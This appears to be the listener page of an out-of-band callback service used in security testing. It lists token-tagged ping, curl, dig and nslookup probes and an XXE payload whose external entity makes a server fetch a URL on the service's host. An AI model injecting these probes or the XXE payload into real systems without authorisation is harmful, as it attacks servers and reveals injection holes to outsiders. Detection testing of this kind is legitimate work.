$ ping -c1 -p 0069845dc649ced4441fa3379dd4fd00 unhack.ca
 
$ curl http://unhack.ca/p/69845dc649ced4441fa3379dd4fd
 
$ dig 69845dc649ced4441fa3379dd4fd @unhack.ca
 
$ dig 69845dc649ced4441fa3379dd4fd.ns.unhack.ca
 
C:\> nslookup 69845dc649ced4441fa3379dd4fd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/69845dc649ced4441fa3379dd4fd">]>
    <foo>&xxe;</foo>
Waiting for ping...